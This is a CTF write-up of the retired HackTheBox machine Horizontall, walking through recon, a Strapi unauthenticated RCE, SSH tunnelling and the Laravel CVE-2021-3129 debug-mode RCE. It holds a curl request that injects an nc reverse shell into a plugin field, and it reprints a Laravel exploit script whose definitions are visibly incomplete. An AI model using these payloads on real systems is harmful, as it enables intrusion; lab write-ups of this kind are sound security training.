HackTheBox Horizontall ~ retired

CTF Write up


6 min read

HackTheBox Horizontall ~ retired

HackTheBox Horizontall

Initial recon

I started by running a nmap scan to identify ports, services and versions.

nmap -sC -sV -T5 $ip


Service research

Port 22

The OpenSSH version running could be vulnerable to username enumeration Exploit DB Poc

this was a rabbit hole that I did not need to come back to in the end

As i do not believe this will grant me the initial foot hold needed to progress on the box I have taken a note of this as it could be used for a later in the attack.

Port 80

Moving onto the web server running it has been identified as nginix 1.14.0 with a underlying host OS of ubuntu. After researching this nginix version I could only find a HTTP2 resource consumption vulnerability so I decided to move on and enumerate more.

From the nmap scan we are also given a domain horzizontall.thb I added this to my host file

sudo nano /etc/hosts


After adding the newly found domain into my host files I entered into my web browser and began to investigate the website. I always check for the following quickly to save time:


They both returned 404. Further investigating the website none of the navigation bars were working so this lead me too look at the source code where I found two interesting java script files


The first js/chunk returned nothing interesting while looking through so I moved onto the high lighted text.

When first opening the file one thing jumped out at me


Base64 now the next step I take when I am presented with a large messy java script file is to use a java script beautifier to make the content easier to read.

After beautifying the JS i attempted to decode the java script which turned out to be nothing important so I began looking deeper into the rest of the java script when I came across a subdomain


I quickly added this to my host file.

Another way I could of discovered this would of been to use gobuster and brute force the vhost



After playing around and looking at what is running I could not find anything so I decided to run a sub directory brute force scan using gobuster gobuster dir --wordlist location -u url.htb


Instantly we found /admin

Seeing that whatever is protected by this login page is some sort of service called "strapi" I decided to google "strapi exploit"


Remote code execution unauthenticated this is perfect. I downloaded the POC code and ran it against the url.

At this is a blind RCE I will need to create a reverse shell to leverage this further


After getting a reverse shell I will need to upgrade the shell


Bonus: We could of exploited this manually by requiring a JWT token(python script does this for us) poc:

curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMzE5NzEwLCJleHAiOjE2MzI5MTE3MTB9.AfJr81dyxnmzlutCKArmf0kBgFCcDDhsk91IYNDpTFM' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip $port >/tmp/f)\",\"port\":\"80\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'

make sure to change the IP to your attack IP Now that I have upgraded the shell it's time to hunt for flags


The user flag is normally located in the /home/$username directory in a file called user.txt


Now that we have the user flag the next step is to obtain root and gain the root flag.

After poking around the file system and going through some basic Linux privilege escalation.

  • I like to follow the check list provided by hack tricks*

I ran netstat to see the network connections.



You could of also used linpeas to find this or any other command to view network connections like "ss"

We can see port 8000 running on local host this means that we are going to have to forward our request somehow to the service running locally.

How to preform ssh forwarding "port tunnelling"

*First of all we will need to generate some keys on the attack machine. We will do this with the ssh-keygen command.

we are interested in the *.pub file

Now to the victim machine we will also use the ssh-keygen command.

Keeping note of the key in the *.pub file

Then we need to put the attack machines key into the victims machines authorised_keys files. Along with the victims *.pub key into the same authorised_keys files

We must ensure both keys are in there or we wont be able to authenticate*


I had some issue echoing both keys separately into the file so I had to do them together to prevent overwriting I used echo to pipe both the keys into the file


Connecting to SSH now let's authenticate with the below command:

 ssh -i ~/.ssh/id_rsa -L 8000: strapi@horizontall.htb


We can connect to the local port now so we visit it in our browser


This version of Larvael is vuln to another RCE


exploit the RCE to obtain root and then steal the flags


A look at how CVE:2021-3129 works


Ambonics blog post did an amazing in-depth job of discussing every step involved you would get true value from reading it:


# Exploit Title: Laravel 8.4.2 debug mode - Remote code execution
# Date: 1.14.2021
# Exploit Author: SunCSR Team
# Vendor Homepage: https://laravel.com/
# References: 
# https://www.ambionics.io/blog/laravel-debug-rce
# https://viblo.asia/p/6J3ZgN8PKmB
# Version: <= 8.4.2
# Tested on: Ubuntu 18.04 + nginx + php 7.4.3
# Github POC: https://github.com/khanhnv-2091/laravel-8.4.2-rce

#!/usr/bin/env python3

import requests, sys, re, os

    "Accept": "application/json"

data = {

def clear_log(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass
    requests.post(url=url, json=data, headers=header, verify=False)
    requests.post(url=url, json=data, headers=header, verify=False)

def create_payload(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    resp = requests.post(url=url, json=data, headers=header, verify=False)
    if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text:
        return True
    return False

def convert(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    resp = requests.post(url=url, json=data, headers=header, verify=False)
    if resp.status_code == 200:
        return True
    return False

def exploited(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    resp = requests.post(url=url, json=data, headers=header, verify=False)
    if resp.status_code == 500 and 'cannot be empty' in resp.text:
        m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text)

def generate_payload(command='', padding=0):
    if '/' in command:
        command = command.replace('/', '\/')
        command = command.replace('\'', '\\\'')
    os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g' > payload.txt'''%(command))
    payload = ''
    with open('payload.txt', 'r') as fp:
        payload = fp.read()
        payload = payload.replace('==', '=3D=')
        for i in range(padding):
            payload += '=00'
    os.system('rm -rf payload.txt')
    return payload

def main():

    if len(sys.argv) < 4:
        print('Usage:  %s url path-log command\n'%(sys.argv[0]))
        print('\tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log \'id\''%(sys.argv[0]))

    if not os.path.isfile('./phpggc/phpggc'):
        print('Phpggc not found!')
        print('Run command: git clone https://github.com/ambionics/phpggc.git')
        os.system('git clone https://github.com/ambionics/phpggc.git')

    url = sys.argv[1]
    path_log = sys.argv[2]
    command = sys.argv[3]
    padding = 0

    payload = generate_payload(command, padding)
    if not payload:
        print('Generate payload error!')

    if 'http' not in url and 'https' not in url:
        url = 'http'+url
        url = url+'/_ignition/execute-solution'

    clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
    create_payload(url, 'AA')
    create_payload(url, payload)
    while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))):
        clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
        create_payload(url, 'AA')
        padding += 1
        payload = generate_payload(command, padding)
        create_payload(url, payload)

    exploited(url, 'phar://%s'%(path_log))

if __name__ == '__main__':